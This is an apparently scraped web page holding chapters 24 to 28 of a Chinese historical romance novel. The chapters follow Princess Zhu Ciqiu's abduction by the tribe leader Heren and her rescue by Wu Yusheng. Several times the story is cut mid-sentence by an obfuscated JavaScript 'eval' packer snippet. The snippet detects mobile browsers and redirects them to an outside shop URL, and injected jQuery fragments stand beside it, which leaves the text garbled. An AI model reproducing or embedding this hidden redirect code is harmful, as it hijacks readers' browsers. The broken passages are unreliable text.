朱辞秋一愣,随即眼神凌厉地透过衣裳缝隙看向诃仁,此时已顾不得什么礼。她眼神就像淬着毒一般盯着他,声音也愈发冰冷:“这就是你的目的。” 诃仁侧头看向她,眼神越发柔和,连语气都软了不少,“我被殿下摆了一道,自然得讨要些东西回来。如今看来,我这是成功了?” 说罢,他手中的烤鱼似乎烤好了,于是朝冒着热气的烤鱼吹了口气,又放在嘴边尝了下。 “如今春狩大乱,只有母赫族那个女人猎得三种猎物。”他囫囵吞下一口鱼肉,继续说道,“但这些都与殿下无关了。” 他笑着:“我驮着你昼夜不停地骑了两天的马,此处已经快到巫族边界了。” 朱辞秋不自觉攥紧拳头,想要将对面的男人生吞活剥。 “你让我离开王帐,去不到王都,”她嘴角扯出笑容,声音险些撕裂却又很快恢复原样,快到让人察觉不到那一丝别样的情绪,“是不想让我助乌玉阙夺位。可我一介女子,能做到的并不多。” 诃仁听见这话,不由自主地笑出声,“我虽不常出现于人前,但怀宁殿下的威名我也听过不少。乌玉阙想要靠着殿下上位,殿下想要靠着乌玉阙想让南夏大乱。我带走你,便能让这两件事再也没有下文。” 听完这一段话后,朱辞秋忽然放松下来,不再紧绷着。 “你错了。”她冷笑一声,将手中的烤鱼扔在地上,“我现在愿意跟你回巫族。” 诃仁手一顿,看向她,眼中闪过怀疑。 “你什么意思?” 但她却不再理他,抬手摸了摸自己的外套,感觉仍然有点湿润便又收回手,双手抱胸拢住自己,靠在一旁的树干上闭目养神。 一旁的诃仁愣地站起身穿上半干的衣裳,将木架踢倒,居高临下地看向她。 “你什么意思?” 朱辞秋掀起眼皮,看着露出本来面目的诃仁,笑了笑,“首领这么聪明,何不自己猜猜?” 诃仁并不说话,也不离开,就只是面目狰狞地看着她。 良久,他吐出一口浊气,蹲在她身侧,似乎觉得蹲着不舒服,他又一屁股坐在地上,眼神仍旧直勾勾地盯着她,“不论你要做什么,如今你都别想再施展。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438451|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱辞秋闭上眼,懒得看他,“现下我能做什么。”她突然又睁开眼,笑眯眯的,“不过我挺想把你扔进河里喂鱼。” “你方才已经扔过了。” 她没答话。 诃仁还欲说些什么时,耳尖忽然一动,他立马回头望去,又立马站起身背对着她。 声音骤然冷淡:“快起来,我们得走了。” 朱辞秋坐起身,也侧着耳朵听了听,却什么都没听见。她还未来得及反应,就见面前站立的男人将地上的外套挑起来扔给她。 沉默看了他一瞬便伸手接过,诃仁又迅速将火堆扑灭,四周变得彻底黑暗,看不见一丝光亮。 然后诃仁便不知从哪牵出来一匹马,在听见马的呼吸声靠近她后,她便被一只大手揽住腰抱上马背,静谧的林中也立马响起阵阵马蹄声。 直到穿过这片树林,驰入较为宽阔的平坦之地时,朱辞秋才听见身后似有一道一直跟在他们身后的声音,忽近忽远,与身下的马蹄声交叠出现,是以她听得并不真切。 但身后那道声音就像不要命般迅速加快,变得极速,而诃仁驾马的速度也愈来愈快,就像在跟身后的人赛跑一般。 她回头望去时,却只见飞驰而过的夜色与阴云密布的夜空,看不见身后是何人。 但她知道,是乌玉胜。 也不知跑了多久,路过平地溪流,又看见远处的连绵起伏喜塔拉神山,最终在飞驰的路上,看见即将破晓的天光。 就这样跑了整整一夜。终于在看见一片树林时,诃仁猛冲向前,带着她一头便扎了进去。 “我说殿下,你这位挂名丈夫,骑术真是了得。”诃仁似乎累得不行,他喘着气,高声说道。 朱辞秋坐在他身后,被颠簸得有些反胃,但也只是平淡回答道:“你在南夏土生土长,居然跑不过他吗。” 诃仁似乎咬了咬后槽,朗声开口:“谁知道他在大雍吃了什么灵丹妙药!” 忽然咻的一声,一支云箭射在道路中央,诃仁巧妙地避过射来的几支云箭,再次俯身抓紧缰绳加快速度,往巫族境内冲去。 巫族所处的地界与西岭有些相像,多树障,马背上的男人极为熟悉这里的地界,带着她左蹿右蹿地勉强避开了身后乌玉胜射来的云箭。 忽然诃仁的动作慢下来,朱辞秋偏头往前看去,看见一处两旁全是云杉树,但中间确实一条宽敞大道,路旁有着指引的火把,一直延伸到最里侧。 诃仁回过头,先是看了眼逐渐逼近的乌玉胜,又看了眼她,笑道:“看来还是我略胜一筹。” 朱辞秋没理他,也没往回看。 但马身进入云杉中间的路的一刹那,模糊却又格外熟悉的身影从身后的马背猛然跃入眼前,稳稳地落在地上,挡在她与诃仁前行的路中央。 诃仁又被迫停下来,在马背上俯身看向他,“你比我预想得要快。” 乌玉胜却不理他,只掠过他的身影望向朱辞秋,沉声道:“下来,跟我走。” 25. 第二十五话 天光破晓,晨曦微光。一路奔来的男人面色阴沉又偏执,攥着弓箭的手用力地都在微微颤抖。 朱辞秋沉默地注视着他,嘴唇微张,正要开口说话时,诃仁却率先开口:“小少主,我可是向你父亲打了招呼的。今日你带不走她。” 乌玉胜略微施舍一个眼神给马背上嬉皮笑脸的男人,随后便缓缓抬起手,从背后的箭匣中取出一支云箭。 诃仁见状立马直起身拽住缰绳,但乌玉胜的动作更快,他几乎是在朱辞秋眨眼间便搭好弓,云箭似疾风般射向马身,惊得马儿不受诃仁控制,扬起前蹄朝后倒去。 乌玉胜纵身一跃,一边踹了脚诃仁一边拦腰抱住朱辞秋,在诃仁滚落在地上正爬起来时,他将她从马背上抱下来又平稳地落在身后的马儿上。她被他健壮有力的怀抱圈住,属于乌玉胜的熟悉气味此时变得格外清晰,她不由自主回过头望向拽紧缰绳,面色紧绷的男人。 他锋利的下巴上长了些胡渣,眼底也有一圈乌青,深棕色的双眼中更是布满血丝,本就阴沉冷漠的面容如今看起来更叫人害怕。 乌玉胜低头看了她一眼,与她视线交汇一瞬便抬眼看向诃仁,不带任何一丝情绪道:“辛苦首领自己走回巫族了。” “你什么——”诃仁一句话还没说完,朱辞秋便看见圈住自己的两条臂膀忽然举在她面前。 乌玉胜一面拉弓架上三支云箭,一面双腿打马,在马蹄迈开前行的一刹那,三支云箭射向诃仁身旁的马儿,让那马儿彻底倒在地上起不来。 不管身后诃仁如何咆哮,他只是将弓放回身后,双手再次圈住她拉紧缰绳,朝巫族境内而去。 “殿下让我好找。”身后的声音似乎在呼啸的风中有些撕裂,竟让她听出点委屈的味道来,“殿下就没有要与我说的话吗?” 朱辞秋肩膀上的伤口被迎面而来风吹得有些疼,她咬着后槽牙,声音有些颤抖:“为何不带我回王帐?” “你需要疗伤静养。” “你来找我,不是为了让我回去。” 感受到乌玉胜拽着缰绳的手僵住一瞬,她便被他圈得更紧,驾马的速度愈来愈快。 只听乌玉胜忍住怒音,却又不自觉地想要咆哮:“殿下,你到底在折腾什么?非要将自己折腾得浑身上下到处都是伤?你就那么想回那个将你出卖给我的大雍?” 他的声音在风中逐渐变得沙哑,那些自他口中说出的话叩问入她心底,让她脑中紧绷的那根弦断裂一瞬。 “这是拜你所赐啊。”她平视前方,轻声开口,“若你不向朱承誉提起和亲之事,他怎会将我送来。” 乌玉胜闻言,似乎低头看了她一眼。他将缰绳用一只手拽着,另一只手捂住她受伤的肩膀,然后低首靠近她。 只是并未再说一句话。 天地逐渐开阔,路旁的毡包越来越多,商户们逐渐出来摆摊,牧民也将圈中的牛羊牵出来,让它们在草原上奔跑。 此时,乌玉胜忽然将捂住肩膀的宽大手掌挡在她面前,让她靠在身后坚硬又温暖的胸膛上,将她整个人彻底圈在怀中。 巫族的守卫看见突然到来的人举起手中的狼刀,却在抬头看见乌玉胜时,愣了下。 乌玉胜掏出王族令牌,守卫见后便立马放行。 入主帐前,乌玉胜高声地朝守卫道:“唤医师来!” 主帐离生活区并不远,没几步便到了。 乌玉胜率先下马,他脱下外套,披在朱辞秋头上,挡住她的脸。又不管她的拒绝将她打横抱起,径直走入主帐之中的一处空余客帐。 入内后,朱辞秋便掀开外套,挣扎着跳下来。 她看着他,“你对这里很熟?” 乌玉胜亦看着她,说道:“他们对王族的人很熟。” 很快他又补充道:“待殿下伤好,静养好,我自会送殿下去王都。” 于是她问:“要多久?” 乌玉胜似乎对她突如其来的配合感到惊异,不由得多看了她几眼,“这得看殿下恢复得快慢了。” 朱辞秋不再回他,只是走在屋内环顾四周,“我可以在此处照你所言静养,但我有一个请求。” “什么请求?” 她抬起头,看向乌玉胜,“不要困住我。我不想被一直困在屋内出不去。” 乌玉胜低首,眼中的探究似要将她看穿,“可以,但我会一直陪着殿下。不论殿下去何处。” “你如今很闲吗乌玉胜。”朱辞秋笑了笑,笑意却不达眼底,“你不去收拾春狩的烂摊子,却在这里陪我虚度光阴,这与你有何好处?” 面前高大又有些疲惫的男人忽然伸手,将她散落的头发勾起一簇,又低头凑近。她能清楚看见他眼中倒映出的她的身影,以及那愈发多起来的血丝。 “母赫族的阿静雅,一人斩下三种野兽在乌图勒面前露脸得了奖赏。”他说了一句没头没尾的话,停顿一瞬,想看她的反应,但她不为所动,于是便又开口,“在她得赏前,我曾遇见过她。而后娜巴图的尸首被发现,她孤身入了乌玉阙帐中。于是乌玉阙便向乌图勒建议,让我来此与你一同向巫族众人赔罪,他暂代我的职责,替我护送王族回王都。” 朱辞秋抬首,道:“你是故意的。” “殿下,我助你让阿静雅入乌玉阙青眼,只为一件事。” 她挑眉,示意乌玉胜继续往下说。 “留在我身边,或者说,让我待在殿下身边。” 男人语气似威胁又似恳求,面上的偏执与发红的血丝刺入她眼中,让她愣怔一瞬,一时有些反应不过来他的真正意图。 “不,”她对上他发红的双眼,粲然一笑,“这样的交易,并不划算。因为你不助她,也到不了巫族。” “乌玉胜,你困不住我。” “大雍的皇帝病危,殿下的哥哥监国。你回去就是死,你到底明不明白?”乌玉胜顿了一下,后退一步,执拗地看着她,“他们想杀你,我是在救你。” 朱辞秋笑了,“乌玉胜,你永远都这样乱替人做主。” “我并非被人置于水火不能自救之人,不论朱承誉也好,乌图勒乃至乌玉阙也罢,我不需要你来充英雄暗中护我。如今你我面上尚能维持一丝笑意平和,莫要将这份平和也彻底打破。” 乌玉胜面色凝固一瞬,“朱辞秋,你到底恨我什么?” 她看着他,笑了笑,“我不恨你。” “我只是,讨厌你。” 门外忽然响起一阵脚步声,是乌玉胜所叫的医师到了。 乌玉胜冷冷地看了她一眼,便朝外走去。她与他的交谈中断,随即他便领着一位花白胡子的老头入内。 那老头眼皮都耷拉下来,被乌玉胜拽着入内后四处张望,终于看见面前站着的还有另一位大活人。 朱辞秋心中腹诽:也不知道他究竟能瞧不瞧得见路。 “这姑娘身上,有股味道。” 老头摸着胡须,张口就来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438452|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她闻言,微微侧头闻了闻身上,似乎是有股溪水黏在身上未干的潮湿味,但并不腥臭,也并不明显。 可那老头却踱步到她跟前,凑到她身旁嗅了嗅,又转身看向乌玉胜,似乎不知该不该开口。 此时朱辞秋骤然反应过来,她立马拉住老头,言辞恳切:“老先生,我肩上伤口疼得厉害,不如先给我医治一下吧。” 不等乌玉胜反应,她便拉着老头的胳膊往里走,但乌玉胜却仍旧站在原地,眼神直勾勾地盯着她。 她知道他不会走了。 老头被她打了茬,也忘了自己方才要说什么,于是便掏出药箱的药物,左右瞅了半天,又朝身后的乌玉胜道:“水盆呢?快去叫人打盆温水来!” 乌玉胜这才转身,却也只是掀了帘叫外头的守卫打水来。习武之人向来耳聪目明胜于常人,朱辞秋不好在此时与这老头说些什么,只能静观其变。 待水打来后,乌玉胜亲自端着,让老头浸湿帕子将她伤口处冒出来的血渍擦洗干净,又拿出小剪子,想要剪掉与血肉相连的布条。 但他比划半天,都无从下手。 “我这老眼昏花的,不行。”老头抬头,将剪子递给端着水盆的乌玉胜,“你来。” 乌玉胜沉默一会,看着脸色苍白的朱辞秋,便放下水盆接过剪子,弯着腰小心翼翼地将布条挑起。 朱辞秋侧头看去,乌玉胜宽大的手掌用这般的小剪子,动作显得格外笨拙。血肉与布条相连的滋味她并非第一次体会,但仍觉疼痛,仿佛也带动了腹部那道愈合伤口的痛意,让她额间愈发冒出汗来。 血肉被牵扯撕拉,布条终于被剪下。 她咬着下唇,双手攥着衣摆想要撞墙昏过去,这样就感受不到痛意。她痛得连脸颊都在不自觉地颤抖。 乌玉胜忽然伸手撬开她的唇齿,将虎口放在她唇间。她抬起头,被汗水模糊的视线看见男人皱着眉,冷声开口:“咬我。” 她也毫不客气,在老头给她上药时,一口咬在他虎口处,却在咬出血窟窿时又收了力道。 但乌玉胜却说:“殿下,不疼。” 好在伤口未伤及根骨,只是皮肉难受,老头替她包扎好后也没多说什么,只叫她好好静养。 但乌玉胜坐在一旁,忽然开口:“替她看看,除了外伤可还有内伤?” 朱辞秋靠在床边,听见这话忽然意识回笼,视线掠过乌玉胜后又看向老头。 老头往外走的脚步停了下来,又往回走重新坐在原位,他示意她将手腕伸出来。 她在乌玉胜的凝视下缓缓伸出手腕,回转丹的毒素如今仍在她体内,这老头一看就是经验老到的大夫,定会摸出来不对劲。 中毒之事,她不愿除自己外的第二人知晓,杜大夫不算。 但如今,乌玉胜一直坐在她身旁盯着老头与她,想必他早也察觉到什么,不然不会如此。 老头只摸了半刻,便哎呀一声,“我就说,这姑娘身上有股味道。” 乌玉胜问:“什么味道?” “回转丹啊!”老头一拍脑门,又疑惑开口,“不过她怎么中了这毒?” 回转丹三个字刚出,朱辞秋便能感觉到身旁的男人周身立马布满煞气,搭在床边的手也青筋暴起。 他冷声赶走老头,一个箭步冲向她,却在她跟前停下来,眼中的愤怒似乎要将她吞噬。 “我说呢,乌玉阙怎么如此放心殿下四处乱窜。” 26. 第二十六话 面前的男人好像真是气极了,连言辞都随意起来。他弯着腰,单手抵住床沿,与朱辞秋对视。 “其实你早就想好了,会在春狩后伺机来巫族一趟吧。所以才故意选娜巴图,只有他死在春狩场上,才能让王族的人运灵棺回巫族。殿下口齿伶俐,若随便想个理由办法,想必让乌图勒命你巫族前往也并非难事。只是你没想到诃仁横插一脚,让你提前被绑入此处。” 乌玉胜扯着嘴角,露出讥讽的笑容,“可你也没想到,我竟然主动跟来,又断了你独身在此寻药的路。” “你说错了。”朱辞秋抬起头看向面前盛怒的男人,“我是想让你运灵棺入巫族。因为我知道,你绝不会放我一人回王都。” 面前的男人紧皱的眉头又往下一压,他冷笑一声,“若我早知殿下会如此胆大妄为,不顾生死。在三年前的龙虎关,我就该真的还你一剑。” 朱辞秋抬着头,看着熟悉的面庞。 原来,又过一年了啊。 她想起了三年前,似乎也是这个季节,从断崖爬上来变得面目全非的乌玉胜出现在战场之上。 那时她已十分熟悉战场,站在城墙上看向底下乌泱泱一大片的士兵,底下南夏骑兵的叫嚣她已然听腻,直到看见他们让出一条路,最末端的男人骑着高大的军马缓缓走至镇前,走至她眼前。 熟悉的嗓音仿佛上辈子的呢喃,却又如此清晰地响在她耳畔。 马背上的乌玉胜不再意气风发,周身煞气像是地狱里的鬼魂。他勾起嘴角,笑着问她:“殿下,许久未见,可还安好?” 朱辞秋推他入断崖时,早知会有这一日的。只是早知与亲眼所见,亲身所经历的颤栗与痛苦难受并不会冲突。所以那年,她呆呆地看着他,却又像是透过他在看被她亲手杀死的少年乌玉胜。 乌玉胜手中的剑扔向城墙,插在厚重的砖块间,冰冷无情的声音在战场响彻:“此战,我族必胜。” 有了乌玉胜的南夏,如虎添翼。 而大雍,父皇病重,朱承誉监国,朝中主和派居多。他们断了她在龙虎关的援助,甚至断了军粮与补给,逼她一步步退守山门关。 战士死守孤城只有死路一条,那三年,她见过无数鲜血与头颅,血洒在大雍的军旗上,头颅倒挂在南夏的长枪上。可她真的已经山穷水尽,没办法夺回十三州让他们死后安息,只能让活着的人不再鲁莽送死。 所以,她妥协了。 可穆家人一生都扎根在长邑十三州,寒城的百姓成了俘虏,十三州尸横遍野,他们的老将军被细作坑害身首异处至今找不见完整的尸首。 他们不退,独留在龙虎关。 也许穆东风说得对,在她选择放弃长邑十三州时,就该一剑自刎于山门关前,替皇室与燕京的贵族,为战死的百万将士与枉死的百姓,以死谢罪。 回想起当年穆东风对她所说的话,眼中的脆弱一闪而逝,快得让人抓不到,她垂眼看着自己的右手,语气如柳絮般轻柔:“这世上,已无人想让我活下去。” 乌玉胜呼吸一滞,张口欲言。 “但我想让我自己活下去,活着回到大雍。”她苦笑一声,扬起下巴,看着乌玉胜的神情不似作伪,“就算九死一生,我也愿意。” 乌玉胜静静地看着她良久,才艰难地说出一句话:“你想过没有,一旦乌玉阙反悔不再给你解药,你会如何?” 她笑了笑,仿佛不理解他怎么会问出这样的问题:“不然你以为,我为何要来巫族?” 面前紧蹙眉头的男人愣了下,好像终于在她无语的笑容中回过神来。他直起身子,居高临下地看着她,光线被挡住,朱辞秋看不清他脸上的表情,但他定在她身上的视线让她十分难捱。想要逃离,想要躲起来。 “你还要看多久?” 乌玉胜闻言,往后退了一步,却仍离得不远,他不说话也不离开,就那样直愣愣地站着,在透出微光的帐内,仍然面色阴沉地看着她。 气氛僵持着,好像谁在跟谁赌着气一般。 朱辞秋也不说话,甚至不想看面前的男人,只是盯着鞋尖坐在原地,用手一遍遍摩挲着衣摆,盘算着他会何时离开。 “为什么?”乌玉胜突然开口,“为什么不让我帮你寻药。” 她抬起头看向他,终于知道他为何待着不走。她笑了下,“这是我自己的事,就不劳烦少主了。” 乌玉胜一怔,随即又上前来,蹲在她面前。这次换他抬着头,将眼底的情绪暴露出来,在她面前,让她一览无余。 说不清那是怎样的感觉,只觉得心像一片纸般被人用手狠狠捏紧,攥成褶皱又不松开,喉咙处也骤然出现一股腥甜之气,却吐不出血,只觉得难受想吐。 可她面上仍然不显,只是藏在衣摆下的手微微颤抖着。 “不要赌气。”乌玉胜眼中的血丝刺痛着她,语气中的委屈也让她想要捂住耳朵,“只要殿下说一声好……” 他的话未说完便停了下来,可朱辞秋知道,他想说的是什么。 “乌玉胜,我不是十几岁的小姑娘了,不会赌气。”她微不可察的轻叹一口气,伸出手想要摸摸乌玉胜的发顶,却又蜷缩着手放下来,“如今也不是建昌六年,这里是南夏,你是南夏的少主,你的族人将我的子民剥皮抽筋不得往生。” “我们之间,隔的从不是个人恩怨,是血淋淋的家国。” 她看着面前跪着的男人逐渐发红的眼眶,嘴角抽了一下,仍继续道:“当年刺你一剑又推你入崖,已将你我之间的情谊两清。莫要再看不清,也莫要再对我有任何幻想了,我心中对你唯有一事在乎,那便是你的母亲是谁。” 乌玉胜放肆地笑着,脸上的偏执越来越严重,“殿下为何这么想知道我的母亲是谁?” “穆老将军有个女儿。”朱辞秋顿了下,看着乌玉胜逐渐僵下来的嘴角,继续说着,“曾于二十四年前失踪,那一年,乌图勒亲征,与寒城惨败身受重伤,好转后,穆老将军的女儿,也失踪了。” “殿下既已猜到,为何还要在乎此事?”乌玉胜沉默半晌,最终沙哑着声音开口。 “我想知道她是死是活。” “死了。”乌玉胜垂首,忽然将宽大的手掌放在她的膝盖上,用手指轻轻摩挲着她的衣衫,“早在十几年前的冬日,就死了。” 朱辞秋听见这话先是怔了下,随即反应过来,并不信他的说辞。她不信此刻的乌玉胜会如此乖巧地有问必答。 看着乌玉胜的动作,她想将他的手一把甩开,却在看见他因为拽着缰绳而布满伤口的手愣了下,让她没由来地想起那日他撕开衣领向她裸露出的,心口上狰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我不知道。”他站起身,待在原地,“我说过了,他们的生死与我无关,大雍也与我无关。我留殿下在此,只为私欲。” 朱辞秋转身看向他,“我也说过,你困不住我。若你真的了解我,就该知道我最讨厌被人掣肘,也讨厌像你这样的人,总是自以为是。” “说得好啊!怀宁殿下。” 她转过头,看见忽然出现在门口的诃仁,挑了挑眉。 “乌玉胜就是太自以为是了!”他走上前,拍了拍衣摆的尘土,瞪着眼睛看向乌玉胜。 她挑了挑眉,与他拉开距离,“你走得倒挺快。” 此时乌玉胜却忽然伸手拽着她的胳膊,强行将她拉至身后,冷漠地朝巫族首领开口:“滚出去。” 诃仁震惊一瞬,掏了掏耳朵,又指了指自己,“这里是巫族,你让我滚出去?”然后又看向朱辞秋,“啧”了声,十分赞同地又说句,“果然自以为是!” 乌玉胜冷着脸,又道:“出去。” 诃仁也不耐烦开口:“她是我带回来的,我不出去。” 两人就这般僵持不下,眼看就要剑拔弩张打起来了。 朱辞秋微微一笑,淡然开口:“我出去。” 27. 第二十七话 乌玉胜听见这句话迅速转头看向她,眉头一直紧锁着,好像从未舒展开过。 对面的诃仁打了个响指,门口便立马出现两名壮汉。 他笑眯眯看着她,开口道:“正合我意。”然后又对那两名壮汉命令道,“带她去奴所,找间空着的房间关起来。” 朱辞秋也笑了下,想要往外走,却被乌玉胜拽着胳膊走不开一步,她甩甩胳膊,示意他将她放开。但乌玉胜却一直紧紧拽着她,她只好抬头看了眼面前一直低气压的男人,轻声道:“少主与首领有事商谈,我不便打扰。” 乌玉胜闻言,侧头用余光瞥了一眼她。拽着她胳膊的大掌缓缓往下,轻柔又不容拒绝地牵住她,径直越过诃仁与门口的两名大汉后,但他似乎又想起什么,便牵着她将墙上挂着的帷帽单手摘下,戴在她头上,将她的面容隐在帷帽下。做完一切后就立马带着她朝外而去。 “乌玉胜!”身后诃仁怒不可遏的声音传来,也只会让乌玉胜的步子走得越发快。 朱辞秋被他牵着,往不知名的地方而去。她伸手摸了摸头顶上的帷帽,又扭头回看了一眼那处渐远的营帐,缓声道:“你与他,早就认识。” 南夏这样的地方,怎么会有大雍产的帷帽。 乌玉胜脱口而出:“不熟。” 她沉默一下,转而问道:“你要带我去何处?” “殿下饿吗?”乌玉胜偏头看了她一眼,没什么情绪,语气也淡淡的。不等她回答,他便又说,“殿下瘦了。” 朱辞秋只是沉默地听完,也沉默地被他牵着走在行人寂寥的路上。忽然阳光被阴云逐渐遮住,周遭刮起阵阵凉风,卷动二人的衣摆,让衣摆在空中交缠一瞬又迅速被吹散。 她抬起头,透过被风吹开的帽纱看着逐渐被阴云笼罩的太阳,轻声道:“春雨过后,万物复苏。” “殿下想吃什么?”乌玉胜闻言,身影停顿一下,随即问道,“这里没有春饼,青稞面可好?” 原来乌玉胜也记得,大雍的春初,是会吃春饼的。 她低着头,看着被他牵住的手。此时的平和就好像方才在主帐内的试探与怀疑,那些说出的令人心寒与痛苦的话都不复存在。 就像暴雨过后的放晴,让一地泥泞渐渐被晒干,恢复成原先干净又平坦的模样。但只要一下雨,便又会变成稀泥,被过路的人踩成一个又一个泥坑,也因此,行人的衣摆便会沾满泥土与雨水,让人心生厌恶,连带着憎恨这路泥泞为何会一直如此。 可却没有人愿意主动铲除这路泥泞,于是为了不让衣摆沾上泥土雨水,所有人都站在原地,等待偶尔的雨过天晴。 朱辞秋抬起头,没有回答乌玉胜,只闷声跟着他走到生活区。 主帐的人并不多,走过主帐区后,便到了巫族的生活区,那里倒很热闹。 想来是过了正午,毡包包围着的两条街的摊贩愈发活络起来,他们摊上卖着一些小吃与玩物,有好些是朱辞秋很少见过的玩意儿。 有些摊贩认识乌玉胜,看见他后乐呵呵又随和地打招呼,并未有任何敬畏之心,就像是乌玉胜只是普通的巫族男人,是他们随时可见的邻家小子一般。乌玉胜也会淡淡地点头回应。只是有些人问到她时,他便会缄口不言,拉着她闷头往前走。 朱辞秋越发确信,他常来巫族。 忽然在一处摊贩看见一件小玩意儿,长得不算奇特,就像是被折弯的木棍,成了个弓形。上头刻着巫族的狐狸标志与云卷纹,被摊贩举着一头拿在手中吆喝着。 她一时觉得新奇,不由得想掀开帷帽仔细看看,却被乌玉胜拉近,用另一只手挡住帷帽,“别摘。巫族有些人,不喜欢大雍人。” 乌玉胜似乎见她一直在看那被折弯的木棍,便拉着她停在原地,他顺着她的视线看去,又道:“那是飞去来器,是用来狩猎的武器,也常有初出茅庐的猎者用作训练。” 她觉得很新奇,于是追问:“这样的小东西也有杀伤力?” “嗯。”乌玉胜顿了下,补充道,“将它垂直竖起朝猎物投去,投中后会让猎物行动缓慢甚至使其眩晕,若未投中猎物便会飞回自己手中。” “有意思。”朱辞秋喃喃道,又看了眼摊贩手中的飞去来器,抬着头看向乌玉胜,笑了一声,“你带钱了吗?” 乌玉胜低首,轻声问道:“殿下想要?” 她点点头,“没见过,想试试。” 乌玉胜抿着嘴,沉默半晌。 她见状,挑眉道:“你不会没带钱吧?” 面前高大的男人不说话,像是默认了她的问题。 “没带钱你还带我去吃青稞面?”她顿了下,觉得好笑,“如今我身上可没金银,替你给不了钱。” 朱辞秋隔着帷帽,看着面前突然出现些局促的男人,想起了建昌五年春初,乌玉胜回边塞前翻入公主府,说要带她去吃酥饼。 “殿下!”少年跳下高墙,飞一般地奔向她,满怀期盼地问她,“城南昨日新开了一家酥饼店,听说特别好吃,如今去买的人正少,不如殿下随臣一同去吃口新鲜的?” 她放下手中的竹简,沉默地看着他,在少年略显焦急的眼神下缓缓站起身,理了理衣摆。 “不好吃拿你是问。” “是!” 朱辞秋常常从后门溜出去,公主府的下人们也见怪不怪,只要有乌玉胜在,她也不需要带侍卫。 他们没有坐车轿,只缓慢地走在人流涌动的大街上,乌玉胜为了不让她被行人冲撞紧紧挨着她,衣袖时不时触碰摩擦在一起,叫青涩少年的耳尖染上薄红。 日暮将近,他们总算到了城南的酥酪店,热气在夕阳下升起,笼中的酥饼飘出香气,她不自觉地走近闻了闻。 果然很香。 乌玉胜将她带在里间干净的桌旁,又用衣袖擦了擦桌凳,这才叫她坐下,自己则快速跑到摊前叫老板上了好几盘不同口味的酥饼。 酥饼尚在冒着热气,乌玉胜坐在她对面乐呵呵地看着她,给她碗中夹了一块,“这是卖得最好的,桃花酥饼!殿下尝尝?” 她夹起一小块送入嘴中,果然香甜。 于是点着头肯定道:“还不错。” 对面的少年立马又夹了不同的口味,看着她一口一口吃下。她抬起头时,看见乌玉胜深棕色的眼睛一闪一闪的,像黑夜中的萤火虫。 她觉得这样的乌玉胜很好看,于是笑了下,轻柔问道:“一直看我做甚,你怎么不吃?” 乌玉胜耳尖迅速染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一路上朱辞秋都在摩挲着飞去来器,对这样的扔出去又飞回来的物件很感兴趣,于是主动开口问身旁沉默的男人:“你能教我吗?” 乌玉胜一愣,随即反应过来:“教殿下用飞去来器?” “嗯。” 乌玉胜还未回答,便停了下来。 她的脚步一顿,也停在原地抬起头看向对面的店铺。 上头搭着简易的棚子,只有简单的厨台锅具,摆着几张桌椅板凳,在里头忙碌的是个年轻女人,梳着粗粗的大麻花辫,穿着粗布衣衫,身旁还有个小脸红扑扑的小姑娘在帮忙端面。 小姑娘踮着脚将面放在客人面前,转头看见乌玉胜后愣了下,随即绽放出笑容,又蹬着小短腿飞速朝他扑来。 那小姑娘抱着乌玉胜的腿不撒手,嘴里喊着:“阿爹!” 乌玉胜站着不动,只是牵着她的手微微抖了下。 她猛然扭头看向乌玉胜,又低头看向那个扒在他身上的小姑娘,想从这两人身上找出点相似来。 身旁的男人轻轻挪动一下,先是冷着脸朝小姑娘开口:“放手。”又看向她,眼中闪过一丝慌乱,“殿下,她不是——” 朱辞秋看着这两人,勾起嘴角笑了下,最后她抬起头,看向在厨台忙碌的年轻女人,轻声开口打断乌玉胜的话:“少主,那是你的糟糠之妻吗?” 28. 第二十八话 听见这话的乌玉胜抿着嘴,扭头看她一瞬,随即将她的手又握紧几分,冷声道:“这玩笑不好笑。” 她没继续搭话,只低着头看向那小姑娘,小姑娘也抱紧乌玉胜的腿抬头看着她,然后扭头,声音稚嫩又无邪地问乌玉胜:“这位姐姐是阿爹的妻子吗?” 乌玉胜眉头舒展一瞬,正欲开口时,对面面铺的年轻女人刚巧忙完,抬起头便见自家女儿挂在乌玉胜身上,大声“哎呀”一声后赶忙洗手,将水渍擦在围裙上,疾步走了出来,一把抱起紧贴着乌玉胜的小姑娘,朝他抱歉地笑了笑,“真是不好意思啊少主,又给你添麻烦了。” “阿芝,给少主道歉!”她又侧头看着怀中的小姑娘,略带呵斥道。 叫阿芝的小姑娘眨巴眨巴眼睛,嘟着嘴扭了两下身子后趴在年轻女人的肩上,背对着朱辞秋与乌玉胜。 阿芝好像并不想道歉,嘴里还嘟囔着:“我想让阿爹抱!” 